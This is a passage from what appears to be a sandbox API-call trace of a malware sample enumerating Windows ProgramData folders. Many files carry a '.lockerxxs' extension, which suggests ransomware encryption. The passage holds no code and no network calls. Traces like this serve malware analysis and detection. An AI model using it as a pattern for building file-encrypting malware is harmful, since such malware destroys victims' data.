lpFindFileData=0x18f7a8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd5be7172, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.328] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\*.*") returned="*.*" [0092.328] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x283ea490, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x369360, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x369360, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.329] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.329] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\*.*") returned="*.*" [0092.329] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\" [0092.329] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\") returned="" [0092.329] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.329] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.329] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\cversions.2.db.lockerxxs") returned="cversions.2.db.lockerxxs" [0092.329] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\" [0092.329] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\") returned="" [0092.330] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.330] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{11336D5B-7F61-4871-82E3-E0F59766823B}.2.ver0x0000000000000001.db.lockerxxs") returned="{11336D5B-7F61-4871-82E3-E0F59766823B}.2.ver0x0000000000000001.db.lockerxxs" [0092.330] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\" [0092.330] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\") returned="" [0092.330] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.330] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{3978EA0A-1C7E-4449-8AE1-E1265F039002}.2.ver0x0000000000000003.db.lockerxxs") returned="{3978EA0A-1C7E-4449-8AE1-E1265F039002}.2.ver0x0000000000000003.db.lockerxxs" [0092.330] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\" [0092.330] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\") returned="" [0092.331] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.331] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{40FC8D7D-05ED-4FEB-B03B-6C100659EF5C}.2.ver0x0000000000000001.db.lockerxxs") returned="{40FC8D7D-05ED-4FEB-B03B-6C100659EF5C}.2.ver0x0000000000000001.db.lockerxxs" [0092.331] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\" [0092.331] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\") returned="" [0092.331] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.331] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{4E36EA69-73D1-4458-9D16-50F8E31A69A0}.2.ver0x0000000000000001.db.lockerxxs") returned="{4E36EA69-73D1-4458-9D16-50F8E31A69A0}.2.ver0x0000000000000001.db.lockerxxs" [0092.331] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\" [0092.331] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\") returned="" [0092.332] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.332] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{4E4260A4-7E39-442E-BC22-7FF751D1C161}.2.ver0x0000000000000002.db.lockerxxs") returned="{4E4260A4-7E39-442E-BC22-7FF751D1C161}.2.ver0x0000000000000002.db.lockerxxs" [0092.332] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\" [0092.332] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\") returned="" [0092.332] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.332] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000011.db.lockerxxs") returned="{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000011.db.lockerxxs" [0092.332] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\" [0092.332] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\") returned="" [0092.333] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.333] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000012.db.lockerxxs") returned="{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000012.db.lockerxxs" [0092.333] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\" [0092.333] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Caches\\") returned="" [0092.333] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\*.*") returned="*.*" [0092.334] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.334] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\*.*") returned="*.*" [0092.334] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x38f4c0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x38f4c0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.334] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.334] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\*.*") returned="*.*" [0092.334] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\" [0092.334] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\") returned="" [0092.335] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.335] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms") returned="34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms" [0092.335] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\" [0092.335] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\") returned="" [0092.335] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.335] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\*.*") returned="*.*" [0092.335] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\DRM\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.336] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\DRM\\*.*") returned="*.*" [0092.336] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\DRM\\Cache\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.336] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\*.*") returned="*.*" [0092.336] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\GameExplorer\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610043, dwReserved1=0x680063, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.337] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\*.*") returned="*.*" [0092.337] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3b5620, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x3b5620, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.337] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.338] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\*.*") returned="*.*" [0092.338] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" [0092.338] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="" [0092.338] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.338] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-ntkl.etl") returned="energy-ntkl.etl" [0092.338] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" [0092.338] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="" [0092.338] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.338] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-12.xml") returned="energy-report-2017-07-12.xml" [0092.338] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" [0092.338] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="" [0092.339] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.339] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-26.xml") returned="energy-report-2017-07-26.xml" [0092.339] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" [0092.339] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="" [0092.339] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.339] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-latest.xml") returned="energy-report-latest.xml" [0092.339] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" [0092.339] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="" [0092.339] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.340] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report.html.lockerxxs") returned="energy-report.html.lockerxxs" [0092.340] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" [0092.340] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="" [0092.340] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.340] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\*.*") returned="*.*" [0092.340] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3b5620, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x3b5620, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f66c, dwReserved1=0x4f0048, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.340] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.340] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\*.*") returned="*.*" [0092.341] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" [0092.341] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="" [0092.341] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.341] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.341] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\desktop.ini") returned="desktop.ini" [0092.341] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" [0092.341] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="" [0092.341] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.341] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma") returned="Ringtone 01.wma" [0092.341] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" [0092.341] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="" [0092.342] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.342] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma") returned="Ringtone 02.wma" [0092.342] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" [0092.342] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="" [0092.342] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.342] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma") returned="Ringtone 03.wma" [0092.342] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" [0092.342] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="" [0092.342] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.342] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma") returned="Ringtone 04.wma" [0092.343] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" [0092.343] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="" [0092.343] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.343] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 05.wma") returned="Ringtone 05.wma" [0092.343] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" [0092.343] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="" [0092.343] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.343] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 06.wma") returned="Ringtone 06.wma" 